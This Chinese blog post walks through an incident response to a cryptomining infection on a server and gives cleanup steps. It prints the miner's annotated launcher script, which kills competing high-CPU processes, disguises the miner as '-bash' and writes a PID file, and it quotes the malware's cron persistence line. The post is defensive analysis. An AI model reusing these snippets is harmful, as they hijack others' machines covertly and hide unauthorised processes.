背景 今天在做項目的時候,總感覺運行不是很流暢,難道本地伺服器也有網路問題?一通操作下來,不出意外,沒解決。說來也巧,無意間的一瞥,竟讓我發現了問題所在——CPU 滿了。這就很不正常了,也沒運行什麼東西呀,不可能就這麼滿了。於是我就開始上網搜索,這是什麼原因導致的(這就是沒完成工作任務的理由?),功 ...
背景
今天在做項目的時候,總感覺運行不是很流暢,難道本地伺服器也有網路問題?一通操作下來,不出意外,沒解決。說來也巧,無意間的一瞥,竟讓我發現了問題所在——CPU 滿了。這就很不正常了,也沒運行什麼東西呀,不可能就這麼滿了。於是我就開始上網搜索,這是什麼原因導致的(這就是沒完成工作任務的理由?),功夫不負有心人,終於找到了和遇到同樣問題的幸運兒,從那篇文章里,我瞭解到,我的伺服器是中了挖礦病毒了。
問題排查
- 首先通過
top
命令查看cpu
占用率高的進程,得到該進程的pid
- 查看該進程是由哪個文件啟動的
# 假設 pid 為 1234
ls -l /proc/1234/exe
# 得到如下結果
lrwxrwxrwx 1 git git 0 Jul 29 04:33 /proc/1276757/exe -> /var/tmp/.cache/java
- 根據上面的結果,我們
cd
到/var/tmp/.cache
目錄,使用ls
命令查看該目錄下有什麼內容
cd /var/tmp/.cache
ls
a bash.pid cron.d dir.dir h32 h64 java run upd x
- 然後查看
run
文件
#!/bin/bash
# 下麵這條命令的作用是:
# 查找並殺死 CPU 使用率超過 40% 的進程,
# 但排除名為 `xmr-stak` 的進程和所有載入 `ld-linux.so.2` (動態鏈接器)的進程
# 同時也根據 `bash.pid` 文件(如果存在)中列出的進程 ID 排除額外的進程
# 其中:
# 1. `ps aux`
# 列出系統中當前運行的所有進程的詳細信息。
# 2. `grep -vw 'xmr-stak\|ld-linux.so.2'
# 從 `ps aux` 的輸出中,排除包含 `xmr-stak` 或 `ld-linux.so.2` 的行。
# `-v` 表示反向選擇(即選擇不匹配的行)。
# `-w` 表示匹配整個單詞。
# `\|` 是正則表達式中的或操作符
# 3. `(test -e bash.pid && grep -vwf bash.pid)`
# 如果 bash.pid 文件存在,則從前面的結果中排除該文件列出的進程 ID。
# `test -e bash.pid` 檢查文件是否存在。
# `grep -vwf bash.pid` 中的 -f 則表示從文件中讀取模式(即進程 ID),用於排除這些進程
# 4. `awk '{if($3>40.0) print $2}'
# 使用 awk 處理上一步操作,如果第三列(CPU 使用率)大於 40,則列印該行第二列(進程 ID)
# 5. `while read procid; do kill -9 $procid; done`
# 強制殺死所有符合條件的進程
# 6. `2>/dev/null`
# 忽略所有錯誤消息
ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | (test -e bash.pid && grep -vwf bash.pid) | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done 2>/dev/null
# 獲取 CPU 核心數
proc=$(nproc)
# 獲取系統的架構(Architecture)信息
ARCH=$(uname -m)
HIDE="-bash"
# 根據系統架構,執行不同的程式
if [ "$ARCH" == "i686" ]; then
./h32 -s $HIDE ./java >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./h64 -s $HIDE ./java >>/dev/null &
fi
# 使用 $! 獲取上一個後臺命令的 PID,並將其賦值給 pid 變數
pid=$!
# 將上面獲取到的 pid 加 1 並作為一個新的變數
new_pid=$((pid + 1))
# 將新的 pid 寫入 base.pid 文件,並覆蓋原有內容
echo $new_pid > bash.pid
從上面的分析不難看出,黑客首先幫我們殺死了那些占用大量 CPU 的進程(人還怪好的嘞)。但實際上,他並不是為了我們,而是要讓他的挖礦程式能夠更好地運行
問題處理
既然知道問題出在哪裡,那就想辦法解決它。很明顯,我們需要殺死這個進程(還是以 1234 為例)。
kill -9 1234
但是這並沒有結束,因為很快它就又卷土重來了,沒錯,CPU 又滿了。到這裡就應該意識到一個問題:有定時任務存在。
使用 crontab -e
編輯定時任務,裡面有這樣的內容:
* * * * * /var/tmp/.cache/upd >/dev/null 2>&1
可以確定,這個定時任務就是挖礦病毒留下來的。我們把這行內容刪除,然後再次殺死那個萬惡的進程(註意,PID 變了,在殺死之前確定好,別殺錯了人進程)
之後我們需要把 .cache 目錄(也就是挖礦程式所在的目錄)刪除,目前來說,這個問題是解決了。
總結
遇到這個問題應該怎麼處理,或者說怎麼一氣呵成地處理?
- 排查問題,首先使用 top 命令查看占用資源的進程
- 然後使用命令 ls -l /proc/
/exe 來查看該進程是由哪個文件啟動 - 殺死該進程(可能無效,需要在刪除定時任務後再次進行此操作)
- 刪除對應的定時任務
- 刪除對應的文件,文件夾
本文來自博客園,作者:小碼哥鴨,轉載請註明原文鏈接:https://www.cnblogs.com/Super-Lee/p/18330795